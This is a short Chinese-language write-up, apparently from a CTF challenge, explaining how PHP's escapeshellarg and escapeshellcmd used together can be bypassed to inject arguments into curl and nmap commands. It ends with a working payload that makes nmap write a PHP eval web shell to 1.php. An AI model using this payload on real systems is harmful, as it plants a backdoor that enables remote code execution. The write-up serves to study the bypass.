图片.png

传入的参数是:172.17.0.2' -v -d a=1
经过escapeshellarg处理后变成了'172.17.0.2'\'' -v -d a=1',即先对单引号转义,再用单引号将左右两部分括起来从而起到连接的作用。
经过escapeshellcmd处理后变成'172.17.0.2'\\'' -v -d a=1\',这是因为escapeshellcmd对\以及最后那个不配对儿的引号进行了转义:http://php.net/manual/zh/function.escapeshellcmd.php
最后执行的命令是curl '172.17.0.2'\\'' -v -d a=1\',由于中间的\\被解释为\而不再是转义字符,所以后面的'没有被转义,与再后面的'配对儿成了一个空白连接符。所以可以简化为curl 172.17.0.2\ -v -d a=1',即向172.17.0.2\发起请求,POST 数据为a=1'。

namp 可以写木马,那么我们要做的,让nmap执行那个命令。但是
这两个函数。会把我们的命令给放道单引号里,'\<\?php eval\(\$_POST\[\"a\"\]\)\;\?\> -oG 1.php'最后的语句,就变成了:nmap -T5 -sT -Pn --host-timeout 2 -F '\<\?php eval\(\$_POST\[\"a\"\]\)\;\?\> -oG 1.php' 我们的命令,被当成了字符串,而不是一条命令,那么我们就要想办法,闭合单引号。
payload:'<?php eval($_POST["a"]);?> -oG 1.php '

图片.png
图片.png
图片.png